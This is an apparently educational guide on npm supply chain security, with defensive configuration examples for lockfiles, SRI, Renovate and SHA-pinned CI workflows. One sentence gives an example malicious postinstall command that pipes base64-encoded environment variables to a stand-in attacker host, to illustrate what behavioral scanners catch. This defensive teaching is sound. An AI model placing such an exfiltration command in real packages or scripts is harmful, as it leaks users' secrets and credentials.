Skip to content
FEE
Frontend Engineering Essentials
Senior Level

Every npm install is a trust decision. The average frontend project has hundreds of direct dependencies and thousands of transitive ones — packages written by people you have never heard of, maintained by teams with varying security maturity, distributed through a public registry that anyone on the internet can publish to. Supply chain security is the practice of treating that dependency graph as an attack surface and applying controls at every point where something can go wrong: what you install, how you install it, where you load it from, and whether you can verify that what you received is what was published.

The threat landscape has matured significantly. Between 2018 and 2024, malicious npm package reports grew from dozens to thousands annually. Attacks that used to involve opportunistic typosquatting have evolved into coordinated campaigns: credential phishing against maintainers, CI-aware payloads that trigger only in automated build environments, and self-propagating worms that use stolen npm tokens to infect every package a compromised maintainer owns. In September 2025, attackers phished the maintainer of the chalk package and, within 16 minutes of account takeover, published malicious versions of 18 packages downloaded over 2.6 billion times per week. Supply chain attacks are no longer theoretical — they are operational and at scale.

Design Thinking ​

Why lockfiles are the primary defense ​

Without a lockfile, npm install resolves dependencies using semver ranges. A ^1.2.3 range in package.json will resolve to any 1.x.y >= 1.2.3. If an attacker publishes 1.2.4 of a transitive dependency you have never directly heard of — something three levels deep in your dependency tree — the next npm install silently installs that version. You never see a diff. Your package.json does not change. Your CI passes because the malicious code is not in a known advisory.

A lockfile solves this by pinning exact versions and integrity hashes for every package in the tree, including transitive dependencies. npm ci enforces the lockfile: it fails if package.json and the lockfile are out of sync, and it never modifies the lockfile. That makes npm ci the only correct command for CI pipelines. npm install in CI is a footgun that silently drifts.

Why npm audit alone is not enough ​

npm audit queries the npm Advisory Database: a set of disclosed vulnerabilities that have been reported, reviewed, and given CVE numbers. This is a reactive database. It knows about yesterday's vulnerabilities, not today's. A malicious package published this morning — one whose postinstall script silently exfiltrates all environment variables to an attacker's server — passes npm audit with zero findings. There is no CVE for it. It has never been reported. It is new.

Socket.dev takes a behavioral approach. Rather than checking a CVE database, it analyzes what a package actually does: does it make network requests during install? Does it execute shell commands? Does it access files outside its own directory? Does its name look like a typosquat of a popular package? These signals are visible regardless of whether any human has yet written a security advisory. A package that runs curl https://attacker.com/exfil?data=$(env | base64) in its postinstall script will trigger Socket alerts before any CVE exists.

The two approaches are complementary, not alternatives. npm audit catches known vulnerabilities efficiently. Behavioral analysis catches zero-days and intentionally malicious packages. A mature supply chain posture uses both.

Why SRI is critical for CDN-hosted scripts ​

When you write <script src="https://cdn.jsdelivr.net/npm/jquery/dist/jquery.min.js">, you are making an unconditional trust grant. If that CDN is compromised, every visitor to every page that includes that tag receives whatever the attacker chose to serve — with full script execution privileges in your origin. CDNs are attractive targets precisely because they serve content to millions of users simultaneously; a single compromise has massive blast radius.

SRI (Subresource Integrity) breaks this unconditional trust by requiring the browser to verify the resource before executing it. The integrity attribute carries a cryptographic hash of the expected file content. If the bytes delivered by the CDN do not produce that hash, the browser refuses to execute the script. An attacker who serves modified JavaScript through a compromised CDN will produce a hash mismatch, and the browser blocks execution automatically — no server-side change required, no WAF rule needed.

The crossorigin="anonymous" attribute is required alongside integrity for cross-origin resources. Without it, the browser cannot access the CORS response headers needed for integrity verification and falls back to loading the resource without verification — silently losing all SRI protection. This is called "fail-open" behavior and is the most common SRI misconfiguration.

Why keeping dependencies updated beats freezing versions ​

Teams sometimes freeze dependency versions to avoid the risk of a breaking change from an update. This is risk inversion. The risk of a breaking change in a minor or patch bump is low, bounded in scope, and recoverable — your tests catch it, you pin to the prior version, you open an issue. The risk of an unpatched critical vulnerability is unbounded: it can mean user data exfiltration, CI secret theft, or production compromise, none of which are recoverable after the fact.

Automated update tools like Renovate and Dependabot reduce the friction of staying current to near zero. They open PRs, your CI runs tests, the PR merges or fails on its own. The team that freezes dependencies and runs npm audit once a quarter will accumulate years of known vulnerabilities. The team that reviews and merges Renovate PRs weekly carries almost none.

Best Practices ​

MUST use npm ci in CI, not npm install. npm ci reads the lockfile exactly, fails if it is inconsistent with package.json, never writes to the lockfile, and performs a clean install each time. It is deterministic. You MUST NOT use npm install in CI pipelines — it is non-deterministic and can silently resolve different dependency versions on each run.

SHOULD use --ignore-scripts in CI. Install scripts are the primary execution vector for malicious packages at install time. The flag npm ci --ignore-scripts prevents preinstall, install, and postinstall scripts from running for any package. You SHOULD add explicit exceptions only for packages that legitimately require install scripts (e.g., husky for git hooks).

SHOULD scope private packages to a private registry. Dependency confusion attacks work because npm resolves unscoped package names against the public registry by default. If your internal package is named payment-service and an attacker publishes a payment-service to the public registry with a higher version number, npm will resolve to the attacker's version. You SHOULD scope all internal packages (@myorg/payment-service) with a .npmrc entry that routes @myorg to your private registry, so the public registry is never consulted for that scope.

MUST add SRI hashes to all CDN script and link tags. You MUST NOT copy CDN links from documentation without adding integrity and crossorigin attributes. The srihash.org generator and the openssl command can produce the correct hash in seconds.

SHOULD review automated dependency update PRs promptly. A stale open Renovate PR means a known vulnerability is in your tree and you have chosen not to fix it. You SHOULD establish a weekly review cadence. Enable automerge for patch and minor updates after your test suite validates them.

SHOULD use Socket.dev on repositories with many dependencies or frequent additions. Install the GitHub App; it comments on pull requests when newly introduced or updated packages exhibit suspicious behavior. This SHOULD be used alongside npm audit because it catches malicious packages that have no CVE yet.

MUST pin GitHub Actions to full commit SHAs. CI workflows that use third-party Actions are themselves a supply chain surface. You MUST NOT pin to a mutable tag (@v4) — the tag can be silently modified. Pinning to a full SHA makes the specific commit immutable and safe.

How It Works ​

The following diagram traces the path of a supply chain attack from publication to exfiltration, and shows where each defensive control intervenes.

Example ​

1. .npmrc: Scoping private packages to prevent dependency confusion ​

ini
# .npmrc at repository root
# Route @myorg scoped packages to the private registry.
# The public npm registry is never consulted for this scope.
@myorg:registry=https://registry.myorg.com

# Require authentication for the private registry.
//registry.myorg.com/:_authToken=${NPM_TOKEN}

Without this, if someone publishes @myorg/payment-service to the public npm registry with version 99.0.0, npm would prefer it over your internal 1.2.3 because it has a higher version number. Scoping the namespace to your private registry closes the confusion vector entirely.

2. GitHub Actions CI with npm ci and npm audit ​

yaml
# .github/workflows/ci.yml
name: CI

on:
  push:
    branches: [main]
  pull_request:

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

      - uses: actions/setup-node@1d0ff469b7ec7b3cb9d8673fde0c81c44821de2a # v4.2.0
        with:
          node-version: '20'
          cache: 'npm'

      # --ignore-scripts: prevents preinstall/postinstall from running.
      # This is the primary defense against malicious install scripts.
      # Add exceptions only for packages that legitimately need them.
      - name: Install dependencies
        run: npm ci --ignore-scripts

      # --audit-level=moderate: fail CI on moderate, high, or critical findings.
      # Do NOT append || true — that silences the only automated vulnerability warning.
      - name: Audit dependencies
        run: npm audit --audit-level=moderate

      - name: Build
        run: npm run build

Note: both Actions are pinned to full commit SHAs, not mutable tags. A comment records the human-readable version for maintainability.

3. SRI integrity attribute on a CDN-hosted script ​

html
<!-- Without SRI: unconditional trust in the CDN -->
<!-- WRONG — do not use this pattern in production -->
<script src="https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js"></script>

<!-- With SRI: browser verifies hash before executing -->
<!-- CORRECT -->
<script
  src="https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js"
  integrity="sha384-1H217gwSVyLSIfaLxHbE7dRb3v4mYCKbpQvzx0cegeju1MVsGrX5xXxAvs/HgeFs"
  crossorigin="anonymous"
></script>

<!-- SRI on a stylesheet -->
<link
  rel="stylesheet"
  href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css"
  integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH"
  crossorigin="anonymous"
/>

The crossorigin="anonymous" attribute is mandatory. Without it, the browser loads the resource without integrity verification — silently losing all SRI protection.

4. Generating an SRI hash with openssl ​

bash
# Download the file first, then generate the sha384 hash.
curl -sL https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js \
  -o jquery.min.js

# Generate the hash.
openssl dgst -sha384 -binary jquery.min.js | openssl base64 -A

# The output is the value for the integrity attribute, prefixed with "sha384-".
# Example output:
#   1H217gwSVyLSIfaLxHbE7dRb3v4mYCKbpQvzx0cegeju1MVsGrX5xXxAvs/HgeFs
# Full attribute value:
#   integrity="sha384-1H217gwSVyLSIfaLxHbE7dRb3v4mYCKbpQvzx0cegeju1MVsGrX5xXxAvs/HgeFs"

# Alternatively, use the srihash.org web tool for one-off generation.

5. Renovate configuration for automated dependency updates ​

json
{
  "$schema": "https://docs.renovatebot.com/renovate-schema.json",
  "extends": [
    "config:recommended"
  ],
  "schedule": ["before 6am on Monday"],
  "packageRules": [
    {
      "matchUpdateTypes": ["patch"],
      "automerge": true,
      "automergeType": "pr",
      "platformAutomerge": true
    },
    {
      "groupName": "dev tooling",
      "matchDepTypes": ["devDependencies"],
      "matchPackagePatterns": ["eslint", "prettier", "typescript", "vite"],
      "matchUpdateTypes": ["minor", "patch"],
      "automerge": true
    },
    {
      "matchUpdateTypes": ["major"],
      "automerge": false,
      "labels": ["dependency-major"]
    }
  ],
  "vulnerabilityAlerts": {
    "labels": ["security"],
    "automerge": true
  }
}

This configuration: automerges patch updates after CI passes; groups common dev tooling updates so the PR queue does not fill with noise; requires human review for major version bumps; and automerges security vulnerability fixes regardless of update type.

6. Publishing with provenance (SLSA Level 2+) ​

yaml
# .github/workflows/publish.yml
name: Publish

on:
  push:
    tags: ['v*']

jobs:
  publish:
    runs-on: ubuntu-latest
    permissions:
      id-token: write   # Required for provenance attestation
      contents: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

      - uses: actions/setup-node@1d0ff469b7ec7b3cb9d8673fde0c81c44821de2a # v4.2.0
        with:
          node-version: '20'
          registry-url: 'https://registry.npmjs.org'

      - run: npm ci --ignore-scripts
      - run: npm run build

      # --provenance links the published package to this specific
      # repository and workflow run. Verifiable via npm audit signatures.
      - run: npm publish --provenance --access public
        env:
          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

Consumers can verify provenance with npm audit signatures after installation.

Common Mistakes ​

Not committing lockfiles. The argument "lockfiles cause merge conflicts" is true — merge conflicts in lockfiles exist. They are resolved in under a minute by accepting one side and re-running the install. The alternative — operating without a lockfile — means that every CI run can silently resolve a different dependency tree. The friction of resolving a lockfile merge conflict once is negligible compared to the risk of silently installing a new malicious transitive dependency.

Using || true to suppress npm audit failures. This pattern appears in CI configurations where teams accumulated audit failures over time and eventually silenced the gate rather than fixing the findings. The result is a CI that runs npm audit, discovers known vulnerabilities, and then continues the build anyway while reporting success. The audit output is generated and immediately discarded. If an audit gate is failing, the correct response is to fix the vulnerabilities or to explicitly add exceptions for accepted risks — not to disable the gate.

Assuming devDependencies are safe. devDependencies are not installed in production, but they are installed in your development environment and your CI pipeline. Your CI environment has access to NODE_AUTH_TOKEN, AWS credentials, GitHub tokens, and deployment keys. A malicious package in devDependencies with a postinstall script can exfiltrate all of those. The September 2025 Shai-Hulud worm specifically targeted CI environments to steal npm tokens and use them to propagate. devDependencies are not a lower-risk category.

References ​